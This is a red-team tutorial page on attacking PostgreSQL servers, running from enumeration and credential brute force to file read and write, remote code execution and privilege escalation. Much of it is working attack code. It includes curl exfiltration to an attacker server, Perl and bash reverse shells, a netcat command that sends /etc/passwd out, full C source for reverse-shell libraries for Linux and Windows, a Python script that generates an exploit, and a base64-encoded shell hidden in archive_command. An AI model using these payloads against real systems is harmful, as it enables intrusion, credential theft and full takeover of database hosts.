Postgresql - PORT 5432,5433
Become VeryLazyTech member! 🎁
Follow us on:
✖ Twitter @VeryLazyTech.
👾 Github @VeryLazyTech.
📜 Medium @VeryLazyTech.
📺 YouTube @VeryLazyTech.
📩 Telegram @VeryLazyTech.
🕵️♂️ My Site @VeryLazyTech.
Visit our shop for e-books and courses. 📚
Basic info
PostgreSQL is one of the most widely deployed open-source relational databases. By default, it listens on TCP port 5432. If that port is already in use, PostgreSQL often binds to 5433.
For a red teamer, both ports are high-value reconnaissance targets. PostgreSQL is frequently misconfigured, exposed to the internet, or deployed with weak authentication. Once inside, its deep integration with the underlying OS provides direct paths to privilege escalation and remote code execution (RCE).
This guide dives into discovery, exploitation, privilege escalation, and post-exploitation techniques, tailored for offensive operators and red team professionals.
Enumeration
Service Fingerprinting
# Basic port scan
nmap -sV -p 5432,5433 <target>
# Nmap NSE script for PostgreSQL
nmap -p 5432 --script=pgsql-brute,pgsql-databases,pgsql-info <target>
Look for:
Version (PostgreSQL has had multiple RCE and auth bypass CVEs).
Whether both 5432 and 5433 are open → multiple clusters or fallback instances.
Manual Connection
# Try direct connection
psql -h <target-ip> -p 5432 -U postgres
If a password prompt appears, the service is reachable and authenticating.
Automated enumeration
MSF console
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Port Scanning with dblink
Beyond traditional tools like nmap, PostgreSQL itself can be abused for port scanning using the dblink
extension. When attempting to connect to remote hosts via dblink_connect
, PostgreSQL throws detailed error messages that reveal the state of the target port.
For example:
SELECT * FROM dblink_connect(
'host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10'
);
Depending on the response, an attacker can infer network conditions:
Host down
DETAIL: could not connect to server: No route to host
Port closed
DETAIL: could not connect to server: Connection refused
Port open (authentication fails)
DETAIL: FATAL: password authentication failed for user "name"
Port open or filtered (timeout)
DETAIL: could not connect to server: Connection timed out
Although PL/pgSQL functions cannot capture these exceptions directly, an attacker with database access can run dblink
queries manually to fingerprint internal networks. When combined with wordlist attacks against PostgreSQL system tables (e.g., pg_shadow
), this technique can uncover both live services and valid credentials, making it a valuable red team tactic for lateral movement.
Enumeration of Privileges
Once credentials are obtained, understanding roles and privileges is critical for identifying escalation paths. In PostgreSQL, users, groups, and roles are essentially the same concept—what matters is whether they can log in and what privileges they inherit.
Role Types
rolsuper → Superuser privileges (full control).
rolinherit → Inherits privileges of roles it belongs to.
rolcreaterole → Can create additional roles.
rolcreatedb → Can create databases.
rolcanlogin → Login-enabled role (acts like a user).
rolreplication → Can initiate replication and manage replication slots.
rolconnlimit → Connection limit (-1 = unlimited).
rolvaliduntil → Password expiry date.
rolbypassrls → Bypasses row-level security.
rolconfig → Role-specific runtime configs.
Interesting Groups
Membership in certain groups allows direct OS interaction:
pg_execute_server_program
→ Run OS commands withCOPY FROM PROGRAM
.pg_read_server_files
→ Read arbitrary files.pg_write_server_files
→ Write files to disk.
💡 Red team tip: Chaining pg_read_server_files
+ pg_write_server_files
can often lead to config file tampering → RCE.
Role & Group Enumeration
-- List roles
\du
-- Detailed role enumeration with memberships
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof,
r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
-- Check if current user is superuser
SELECT current_setting('is_superuser');
Role Manipulation
-- Try to escalate privileges (if you have CREATEROLE or higher)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
-- Create new role and assign to group
CREATE ROLE u LOGIN PASSWORD 'pwned123' IN GROUP pg_read_server_files;
⚠️ Attempting privilege escalation often fails if you are not already in the target group or a superuser. But on misconfigured systems, this is a direct privesc vector.
Table Privileges
-- List table owners
SELECT schemaname, tablename, tableowner FROM pg_tables;
-- Tables owned by postgres
SELECT schemaname, tablename, tableowner FROM pg_tables WHERE tableowner = 'postgres';
-- Check your permissions on pg_shadow
SELECT grantee, table_schema, table_name, privilege_type
FROM information_schema.role_table_grants
WHERE table_name='pg_shadow';
Function Enumeration
Functions in pg_catalog
often enable file or command interaction:
-- List functions
\df *
-- Search by keyword
\df *pg_ls*
-- Check access to sensitive functions
\df+ pg_read_binary_file
-- Enumerate schema routines
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters
ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
-- Alternative: dump all functions
SELECT * FROM pg_proc;
🔑 Why this matters: Identifying roles, groups, and functions often reveals a hidden escalation path—for example, a non-superuser role with membership in pg_execute_server_program
is essentially equivalent to OS-level RCE.
Authentication Attacks
Brute Force
# Hydra
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
# Metasploit
msfconsole
use auxiliary/scanner/postgres/postgres_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
# Medusa
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
# Ncrack
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
# Patator
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
# Nmap
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
# Legba
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
Default creds
postgres:postgres
postgres:password
postgres:1234
Post-Authentication Enumeration
Once valid credentials are obtained, start deep enumeration:
# Current user and roles
SELECT user;
\du+
# List databases and tables
\c <database> # use the database
\d # List tables
\l
\d
# Grab credentials
SELECT usename, passwd FROM pg_shadow;
# List installed extensions (potential abuse)
SELECT * FROM pg_extension;
# Filesystem location
SHOW data_directory;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
If running \list
you find a database called rdsadmin
you know you are inside an AWS postgresql database.
Extracted password hashes can be cracked with Hashcat or John.
Exploitation
File Read
-- Read /etc/passwd
CREATE TABLE loot(data text);
COPY loot FROM '/etc/passwd';
SELECT * FROM loot;
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
GRANT pg_read_server_files TO username;
There are other postgres functions that can be used to read file or list a directory. Only superusers and users with explicit permissions can use them:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
You can find more functions in https://www.postgresql.org/docs/current/functions-admin.html
File Write
# Write arbitrary file (requires pg_write_server_files)
COPY (SELECT 'owned by redteam') TO '/tmp/redteam.txt';
# Only super users and members of pg_write_server_files can use copy to write files.
COPY (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one-liner.
A very important limitation of this technique is that copy
cannot be used to write binary files as it modify some binary values.
Updating PostgreSQL Table Data via Local File Write (Filenode Abuse)
If a PostgreSQL role has read and write access to server files, an attacker can directly modify filenodes in the PostgreSQL data directory to overwrite table contents, escalate privileges, or even become a superuser. This technique is particularly powerful in constrained SQLi contexts, since it relies on database-native functions (lo_import
, lo_export
) rather than direct shell commands.
Attack Flow
1. Identify Data Directory
SELECT setting FROM pg_settings WHERE name = 'data_directory';
If unavailable, extract the version:
SELECT version();
and brute-force the directory path. Typical paths:
/var/lib/postgresql/<MAJOR_VERSION>/main/
/var/lib/postgresql/data/
2. Get Target Table Filenode Path
SELECT pg_relation_filepath('{TABLE_NAME}');
Returns something like:
base/3/1337
→ Full path:
/var/lib/postgresql/13/main/base/3/1337
3. Dump the Filenode with lo_import
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337);
4. Extract Table Datatypes
SELECT STRING_AGG(
CONCAT_WS(',', attname, typname, attlen, attalign), ';'
)
FROM pg_attribute
JOIN pg_type ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
5. Modify Filenode
Use PostgreSQL Filenode Editor to edit role flags:
python3 postgresql_filenode_editor.py -f {FILENODE} \
--datatype-csv {DATATYPE_CSV_FROM_STEP_4} \
-m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
Set all rol*
flags to 1
(true) to escalate privileges.
6. Re-Upload Edited Filenode
-- Re-import the modified filenode
SELECT lo_from_bytea(13338, decode('{BASE64_ENCODED_EDITED_FILENODE}', 'base64'));
-- Overwrite the original
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}');
7. Clear Cache (Optional)
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea);
After this, the modified table values take effect.
Any role data (passwords, privileges) can be manipulated offline.
Attackers can set themselves as superuser by editing
pg_authid
.This effectively bypasses SQL privilege checks — the DB trusts the modified file.

Command Execution
Since PostgreSQL 9.3, the database introduced the ability to use COPY FROM PROGRAM
for interacting with the operating system. By design, this is only available to superusers or members of the pg_execute_server_program
role. But from a red team perspective, this feature is effectively a built-in RCE primitive.
1. Exfiltration Example
-- Exfiltrate local file listing via curl
'; COPY (SELECT '') TO PROGRAM 'curl http://ATTACKER-SERVER?f=`ls -l | base64`' -- -
This abuses COPY
to spawn a shell command that sends file data back to a controlled server.
2. Proof-of-Concept Command Execution
# Create a table to hold command output
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
# Run "id" on the host OS
COPY cmd_exec FROM PROGRAM 'id';
# Retrieve output
SELECT * FROM cmd_exec;
# Cleanup
DROP TABLE IF EXISTS cmd_exec;
3. Reverse Shell Payload
-- Note the need to escape single quotes by doubling them
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");
STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Once executed, this will connect back to the attacker’s listener (nc -lvnp 80
) and provide an interactive shell.
4. Escalation with CREATEROLE
If you don’t already have the pg_execute_server_program
privilege, but do have CREATEROLE
, you can grant it to yourself:
GRANT pg_execute_server_program TO username;
This often turns what looks like a restricted user into a full OS-level RCE capability.
5. Metasploit Automation
Metasploit includes a ready-made module for this technique:
use multi/postgres/postgres_copy_from_program_cmd_exec
set RHOSTS <target>
set USERNAME postgres
set PASSWORD postgres
run
RCE techniques
RCE to program
Since version 9.3, only super users and member of the group pg_execute_server_program
can use copy for RCE (example with exfiltration:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Example to exec:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Or use the multi/postgres/postgres_copy_from_program_cmd_exec
module from metasploit.
More information about this vulnerability here. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixed.
Privilege Escalation (CREATEROLE Abuse)
-- Grant yourself dangerous roles
GRANT pg_execute_server_program TO <username>;
GRANT pg_read_server_files TO <username>;
GRANT pg_write_server_files TO <username>;
RCE via Extensions
PostgreSQL has been developed with extensibility as a core feature, allowing it to seamlessly integrate extensions as if they were built-in functionalities. These extensions, essentially libraries written in C, enrich the database with additional functions, operators, or types.
From version 8.1 onwards, a specific requirement is imposed on the extension libraries: they must be compiled with a special header. Without this, PostgreSQL will not execute them, ensuring only compatible and potentially secure extensions are used.
RCE in Linux
For more information check: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: Metasploit module.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Write binary file using base64
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
However, when attempted on greater versions the following error was shown:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
This error is explained in the PostgreSQL documentation:
To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.
Compile the library
Get the PsotgreSQL version with:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
For compatibility, it is essential that the major versions align. Therefore, compiling a library with any version within the 9.6.x series should ensure successful integration.
To install that version in your system:
apt install postgresql postgresql-server-dev-9.6
And compile the library:
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
Then upload the compiled library and execute commands with:
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
You can find this library precompiled to several different PostgreSQL versions and even can automate this process (if you have PostgreSQL access) with pgexec.
RCE in Windows
The following DLL takes as input the name of the binary and the number of times you want to execute it and executes it:
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
You can find the DLL compiled in this zip:
You can indicate to this DLL which binary to execute and the number of time to execute it, in this example it will execute calc.exe
2 times:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
In here you can find this reverse-shell:
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
The PolyUDF project is also a good starting point with the full MS Visual Studio project and a ready to use library (including: command eval, exec and cleanup) with multiversion support.
RCE in newest Prostgres versions
In the latest versions of PostgreSQL, restrictions have been imposed where the superuser
is prohibited from loading shared library files except from specific directories, such as C:\Program Files\PostgreSQL\11\lib
on Windows or /var/lib/postgresql/11/lib
on *nix systems. These directories are secured against write operations by either the NETWORK_SERVICE or postgres accounts.
Despite these restrictions, it's possible for an authenticated database superuser
to write binary files to the filesystem using "large objects." This capability extends to writing within the C:\Program Files\PostgreSQL\11\data
directory, which is essential for database operations like updating or creating tables.
A significant vulnerability arises from the CREATE FUNCTION
command, which permits directory traversal into the data directory. Consequently, an authenticated attacker could exploit this traversal to write a shared library file into the data directory and then load it. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.
Attack flow
Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
Note that you don't need to append the .dll
extension as the create function will add it.
For more information read the original publication here. In that publication this was the code use to generate the postgres extension (to learn how to compile a postgres extension read any of the previous versions). In the same page this exploit to automate this technique was given:
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
PostgreSQL configuration file RCE
The configuration file of PostgreSQL is writable by the postgres user, which is the one running the database, so as superuser, you can write files in the filesystem, and therefore you can overwrite this file.

-- Overwrite SSL passphrase command with a reverse shell
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.5/9001 0>&1"'
SELECT pg_reload_conf();
RCE with ssl_passphrase_command
More information about this technique here.
The configuration file have some interesting attributes that can lead to RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Path to the private key of the databasessl_passphrase_command = ''
If the private file is protected by password (encrypted) postgresql will execute the command indicated in this attribute.ssl_passphrase_command_supports_reload = off
If this attribute is on the command executed if the key is protected by password will be executed whenpg_reload_conf()
is executed.
Then, an attacker will need to:
Dump private key from the server
Encrypt downloaded private key:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Overwrite
Dump the current postgresql configuration
Overwrite the configuration with the mentioned attributes configuration:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Execute
pg_reload_conf()
While testing this I noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.
RCE with archive_command
Another attribute in the configuration file that is exploitable is archive_command
.
For this to work, the archive_mode
setting has to be 'on'
or 'always'
. If that is true, then we could overwrite the command in archive_command
and force it to execute via the WAL (write-ahead logging) operations.
The general steps are:
Check whether archive mode is enabled:
SELECT current_setting('archive_mode')
Overwrite
archive_command
with the payload. For eg, a reverse shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Reload the config:
SELECT pg_reload_conf()
Force the WAL operation to run, which will call the archive command:
SELECT pg_switch_wal()
orSELECT pg_switch_xlog()
for some Postgres versions
RCE with preload libraries
More information about this technique here.
This attack vector takes advantage of the following configuration variables:
session_preload_libraries
-- libraries that will be loaded by the PostgreSQL server at the client connection.dynamic_library_path
-- list of directories where the PostgreSQL server will search for the libraries.
We can set the dynamic_library_path
value to a directory, writable by the postgres
user running the database, e.g., /tmp/
directory, and upload a malicious .so
object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries
variable.
The attack steps are:
Download the original
postgresql.conf
Include the
/tmp/
directory in thedynamic_library_path
value, e.g.dynamic_library_path = '/tmp:$libdir'
Include the malicious library name in the
session_preload_libraries
value, e.g.session_preload_libraries = 'payload.so'
Check major PostgreSQL version via the
SELECT version()
queryCompile the malicious library code with the correct PostgreSQL dev package Sample code:
#include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif void _init() { /* code taken from https://www.revshells.com/ */ int port = REVSHELL_PORT; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/bash", NULL}; execve("/bin/bash", argv, NULL); }
Compiling the code:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
Upload the malicious
postgresql.conf
, created in steps 2-3, and overwrite the original oneUpload the
payload.so
from step 5 to the/tmp
directoryReload the server configuration by restarting the server or invoking the
SELECT pg_reload_conf()
queryAt the next DB connection, you will receive the reverse shell connection.
RCE with PostgreSQL Languages
Privilege escalation
CREATEROLE Privesc
According to the docs: Roles having CREATEROLE
privilege can grant or revoke membership in any role that is not a superuser.
So, if you have CREATEROLE
permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
Modify Password
Users with this role can also change the passwords of other non-superusers:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
It's pretty common to find that local users can login in PostgreSQL without providing any password. Therefore, once you have gathered permissions to execute code you can abuse these permissions to gran you SUPERUSER
role:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
ALTER TABLE privesc
In this writeup is explained how it was possible to privesc in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.
When you try to make another user owner of a table you should get an error preventing it, but apparently GCP gave that option to the not-superuser postgres user in GCP:

Joining this idea with the fact that when the INSERT/UPDATE/ANALYZE commands are executed on a table with an index function, the function is called as part of the command with the table owner’s permissions. It's possible to create an index with a function and give owner permissions to a super user over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Exploitation
Start by creating a new table.
Insert some irrelevant content into the table to provide data for the index function.
Develop a malicious index function that contains a code execution payload, allowing for unauthorized commands to be executed.
ALTER the table's owner to "cloudsqladmin," which is GCP's superuser role exclusively used by Cloud SQL to manage and maintain the database.
Perform an ANALYZE operation on the table. This action compels the PostgreSQL engine to switch to the user context of the table's owner, "cloudsqladmin." Consequently, the malicious index function is called with the permissions of "cloudsqladmin," thereby enabling the execution of the previously unauthorized shell command.
In PostgreSQL, this flow looks something like this:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
Then, the shell_commands_results
table will contain the output of the executed code:
